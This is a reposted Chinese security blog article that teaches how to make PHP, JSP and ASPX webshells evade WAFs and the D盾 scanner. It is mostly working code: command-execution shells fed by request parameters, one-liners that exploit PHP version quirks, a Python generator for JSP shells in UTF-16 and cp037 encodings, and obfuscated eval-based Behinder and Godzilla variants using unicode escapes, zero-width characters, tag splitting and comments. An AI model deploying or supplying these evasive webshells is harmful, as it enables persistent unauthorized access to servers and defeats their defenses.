干货 | 实战分享几种Bypass成功的webshell免杀方式(建议收藏)

技术

0x01 php的免杀

传统的php免杀不用多说了,无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。

1、利用在高版本php语法不换行来执行命令


        
  `<?=`
  `$a=<<< aa`
  `assasssasssasssasssasssasssasssasssasssasssassss`
  `aa;echo `whoami``
  `?>`
 
      

5.2 版本报错

picture.image

5.3 版本报错

picture.image

5.4 版本报错

picture.image

7.3.4 成功执行命令

picture.image

2、利用\特殊符号来引起报错


        
  `<?php`
  `\echo `whoami`;?>`
 
      

5.3 执行命令失败

picture.image

7.3 执行命令失败

picture.image

5.2 成功执行

picture.image

3、十六进制字符串

在php7中不认为是数字,php5则依旧为数字,经过测试 5.3 和5.5可以成功执行命令,5.2和php7无法执行。


        
  `<?php`
  `$s=substr("aabbccsystem","0x6");`
  `$s(whoami)`
  `?>`
 
      

7.3 命令执行失败

picture.image

5.2 命令执行失败

picture.image

5.3 命令执行成功

picture.image

除此之外,还有很多种利用版本差异性来bypass一些没有对所有版本进行检测更新的所谓的"先进waf"。

当然,对于我们可以结合垃圾数据,变形混淆,以及大量特殊字符和注释的方式来构造更多的payload,毕竟每家的waf规则不同,配置也不同,与一些传输层面的bypass进行结合产生的可能性就会非常多样。

例如:

7.0版本的??特性,如果版本为5.x的话就会报错,可以结合一些其他的方式吧


        
  `<?php`
  `$a = $_GET['function'] ?? 'whoami';`
  `$b = $_GET['cmd'] ?? 'whoami';`
  `$a(null.(null.$b));`
 
      

0x02 jsp的免杀

本 人对java研究的不是非常深入,因此主要分享的还是平时收集的几个小tips,如果有没看过 的师傅现在看到了也是极好的,java unicode绕过就不再多言。

0、小小Tips

jsp的后缀可以兼容为jspx的代码,也兼容jspx的所有特性,如CDATA特性。

jspx的后缀不兼容为jsp的代码,jspx只能用jspx的格式。

1、jspx CDATA特性

在XML元素里,<和&是非法的,遇到<解析器会把该字符解释为新元素的开始,遇到&解析器会把该字符解释为字符实体化编码的开始。

但是我们有时候有需要在jspx里添加js代码用到大量的<和&字符,因此可以将脚本代码定义为CDATA。

CDATA部分内容会被解析器忽略,此时ameter依旧会与getPar拼接成为getParameter。


          
  `格式:<![CDATA[xxxxxxxxxxxxxxxxxxx]]>`
  `例如:String cmd = request.getPar<![CDATA[ameter]]>("shell");`
 
        

2、实体化编码


          
  `if (cmd !=null){`
  `Process child = Runtime.getRuntime().exec(cmd);`
  `InputStream in = child.getInputStream();`
 
        

3、利用java支持其他编码格式来进行绕过


          
  `#python2`
  `charset = "utf-8"`
  `data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)`
 
  `f16be = open('utf-16be.jsp','wb')`
  `f16be.write('<%@ page contentType="charset=utf-16be" %>')`
  `f16be.write(data.encode('utf-16be'))`
 
 
  `f16le = open('utf-16le.jsp','wb')`
  `f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')`
  `f16le.write(data.encode('utf-16le'))`
 
  `fcp037 = open('cp037.jsp','wb')`
  `fcp037.write(data.encode('cp037'))`
  `fcp037.write('<%@ page contentType="charset=cp037"/>')`
 
        

picture.image

可以看到对于D盾的免杀效果还是非常好的。

picture.image

0x03 aspx的免杀

aspx免杀的方式相对于PHP和java的较少,这里列出5种方式来bypass进行免杀


        
  `unicode编码`
  `空字符串连接`
  `<%%>截断`
  `头部替换`
  `特殊符号@`
  `注释`
 
      

我们以一个普通的冰蝎马作为示例


        
 `<%@ Page Language="Jscript"%>eval(@Request.Item["pass"],"unsafe");%` 
 
      

这一步无需多言,一定是会被D盾所查杀的

picture.image

1、unicode编码

例如eval他可以变为 \u0065\u0076\u0061\u006c ,经过我本地的测试,它不支持大U和多个0的增加


          
 `<%@ Page Language="Jscript"%><%\u0065\u0076\u0061\u006c(@Request.Item["pass"],"unsafe");%>` 
 
        

2、空字符串连接

在函数字符串中插入这些字符都不会影响脚本的正常运行,在测试前需要注意该类字符插入的位置,否则插入错误的地方会产生报错


          
  `\u200c`
  `\u200d`
  `\u200e`
  `\u200f`
 
        

3、使用<%%>语法

将整个字符串与函数利用<%%>进行分割


          
 `<%@Page Language=JS%>
 <%eval%>
 <%(Request.%>
 <%Item["pass"],"unsafe");%>` 
 
        

4、头部免杀

之前有遇到过检测该字段的<%@ Page Language="C#" %>,这个是标识ASPX的一个字段,针对该字段进行免杀%@Language=CSHARP%,很久之前修改为这样就过了,同样的,可以修改为


          
 `<%@ Page Language="Jscript"%>------》<%@Page Language=JS%>` 
 
        

也可以将该字段放在后面,不一定要放前面等

5、使用符号

如哥斯拉webshell存在特征代码,可以添加@符号但是不会影响其解析。


          
  `(Context.Session["payload"] == null)`
  `(@Context.@Session["payload"] == null)`
 
        

picture.image

picture.image

6、注释可以随意插入

如下所示为冰蝎部分代码,可以与<%%>结合使用效果会更好。


        
  `<%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/)`
 
      

文章来源:先知社区(Icepaper)

原文地址: https://xz.aliyun.com/t/10937

版权申明:内容来源网络,版权归原创者所有。除非无法确认,都会标明作者及出处,如有侵权,烦请告知,我们会立即删除!

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell

「 超详细 | 分享 」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具|无状态子域名爆破工具(1秒扫160万个子域)

查看更多精彩内容,还请关注 橘猫学安全:

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“ 再看

0
0
0
0
关于作者

文章

0

获赞

0

收藏

0

相关资源
字节跳动 XR 技术的探索与实践
火山引擎开发者社区技术大讲堂第二期邀请到了火山引擎 XR 技术负责人和火山引擎创作 CV 技术负责人,为大家分享字节跳动积累的前沿视觉技术及内外部的应用实践,揭秘现代炫酷的视觉效果背后的技术实现。
相关产品
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论